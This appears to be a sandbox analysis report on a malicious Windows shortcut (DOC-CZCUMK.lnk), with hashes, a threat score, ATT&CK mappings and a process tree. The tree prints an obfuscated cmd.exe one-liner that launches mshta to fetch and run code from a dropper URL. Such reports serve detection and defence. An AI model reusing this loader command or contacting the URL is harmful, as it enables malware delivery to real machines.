3ad274b81bba4a7181fc1c8cc370f901e030a682859f2790eb899bb865cea984

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:08

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General

Target
DOC-CZCUMK.lnk
Size 1KB
Sample260803-qde8psaa27
SHA256 3ad274b81bba4a7181fc1c8cc370f901e030a682859f2790eb899bb865cea984
MD5 939a98864bc090fe8bc012775785cb74
SHA1 c4b59078666a9e97fe46146e363a6227ee9cfdc5
SHA512 8f21bb66f29b4256009f827ab9426fc370c73d1e76057d39484906532e5e50fd9b4c4cbe90a17aa8a302142e952ee882a4bfe0c6e0241d446127c735807bbe12
TLSH
T11D319E503FFD0654F3F38E7794BB571085BBB8668E20C61D01414A4D1072A14E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4592	cmd.exe
4920	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 4920	4592	cmd.exe	90
PID 4920 wrote to memory of 3128	4920	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CZCUMK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4592
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set jMV=msh&&set FNt=ta&&start "" !jMV!!FNt! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads